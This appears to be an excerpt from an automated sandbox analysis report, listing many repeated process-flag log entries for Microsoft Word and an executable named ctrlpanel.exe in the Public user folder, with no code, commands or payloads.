Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\ctrlpanel.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
